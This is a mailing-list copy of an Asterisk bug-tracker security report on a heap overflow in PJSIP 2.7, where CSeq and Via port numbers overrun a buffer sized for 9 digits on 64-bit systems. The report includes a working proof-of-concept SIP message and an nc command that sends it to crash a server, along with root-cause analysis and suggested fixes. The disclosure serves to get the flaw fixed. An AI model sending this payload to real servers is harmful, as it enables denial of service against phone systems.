[asterisk-bugs] [JIRA] (ASTERISK-27319) (Security) Function in PJSIP 2.7 miscalculates the length of an unsigned long variable in 64bit machines
Asterisk Team (JIRA)
noreply at issues.asterisk.org
Wed Dec 20 12:57:18 CST 2017
[ https://issues.asterisk.org/jira/browse/ASTERISK-27319?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]
Asterisk Team updated ASTERISK-27319:
-------------------------------------
Target Release Version/s: 13.19.0
> (Security) Function in PJSIP 2.7 miscalculates the length of an unsigned long variable in 64bit machines
> --------------------------------------------------------------------------------------------------------
>
> Key: ASTERISK-27319
> URL: https://issues.asterisk.org/jira/browse/ASTERISK-27319
> Project: Asterisk
> Issue Type: Bug
> Reporter: Kim youngsung
> Assignee: George Joseph
> Labels: pjsip
> Target Release: 13.15.1, 13.19.0, 14.7.1, 15.1.1
>
> Attachments: gdb_crash.dump, heapoverflow.png, PJSIP_pool.png, poc_asterisk_small
>
>
> h3. +Test environment
> Asterisk : asterisk-15-current (The latest)
> PJSIP : pjproject 2.7 (2.6 also affected)
> OS : CentOS 7.3
> Kernel : Linux 3.10.0-514.26.2.el7.x86_64 #1 SMP Tue Jul 4 15:04:05 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
> h3. +How to reproduce the issue
> Send the attached PoC sip message to the server.
> $ cat poc_asterisk_small | nc -u server_ip_addr 5060
> {code}
> OPTIONS sip:3 SIP/2.0
> f: <sip:2>
> t: <sip:1>
> i: a
> CSeq: 18446744073709551614 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> v: SIP/2.0/U 4:18446744073709551614
> {code}
> h3. +The root cause of the vulnerability
> In the `create_tsx_key_2543` function, it assume that the length of `CSeq number` and `Via port` are 9 bytes respectively, but the maximum of unsigned long is 0xFFFFFFFFFFFFFFFF in 64bit machines and it becomes 20 bytes length in decimal(18446744073709551615).
> This mistake could be found in many places in the PJSIP source code.
> *Note that implicit casting occurs internally when you call pj_utoa (especially sign expansion occurs for negative integer).
> h3. +Related Source Code
> {code}
> typedef struct pjsip_cseq_hdr
> {
> PJSIP_DECL_HDR_MEMBER(struct pjsip_cseq_hdr);
> pj_int32_t cseq; /**< CSeq number. */
> pjsip_method method; /**< CSeq method. */
> } pjsip_cseq_hdr;
> typedef struct pjsip_via_hdr
> {
> ...
> int rport_param; /**< "rport" parameter, 0 to specify without
> port number, -1 means doesn't exist. */
> ...
> } pjsip_via_hdr;
> static pj_status_t create_tsx_key_2543( ... )
> {
> ...
> /* Calculate length required. */
> len_required = method->name.slen + /* Method */
> 9 + /* CSeq number */
> ...
> 9 + /* Via port. */
> 16; /* Separator+Allowance. */
> key = p = (char*) pj_pool_alloc(pool, len_required);
> ...
> /* Add CSeq (only the number). */
> len = pj_utoa(rdata->msg_info.cseq->cseq, p); // struct pjsip_cseq_hdr
> p += len;
> *p++ = SEPARATOR;
> ...
> len = pj_utoa(rdata->msg_info.via->sent_by.port, p); // struct pjsip_via_hdr
> p += len;
> *p++ = SEPARATOR;
> *p++ = '\0';
> ...
> return PJ_SUCCESS;
> }
> PJ_DEF(int) pj_utoa(unsigned long val, char *buf)
> {
> // Type casting from int to unsigned long
> // Negative integers are changed to large unsigned longs.
> // On a 64 bit machine, it is 16 bytes in size.
> // Max unsigned long = 0xFFFFFFFFFFFFFFFF = 18446744073709551615
> return pj_utoa_pad(val, buf, 0, 0);
> }
> PJ_DEF(int) pj_utoa_pad( unsigned long val, char *buf, int min_dig, int pad)
> {
> char *p;
> int len;
> PJ_CHECK_STACK();
> p = buf;
> do {
> unsigned long digval = (unsigned long) (val % 10);
> val /= 10;
> *p++ = (char) (digval + '0');
> } while (val > 0);
> len = (int)(p-buf);
> while (len < min_dig) {
> *p++ = (char)pad;
> ++len;
> }
> *p-- = '\0';
> do {
> char temp = *p;
> *p = *buf;
> *buf = temp;
> --p;
> ++buf;
> } while (buf < p);
> return len;
> }
> {code}
> h3. +Suggested solution
> 1. Add length check logic in pj_utoa_pad functoin's while loop by passing the allowed length to pj_utoa and pj_utoa_pad.
> 2. Change the type of `cseq` and `port number` from signed integer to unsigned integer.
--
This message was sent by Atlassian JIRA
(v6.2#6252)
More information about the asterisk-bugs
mailing list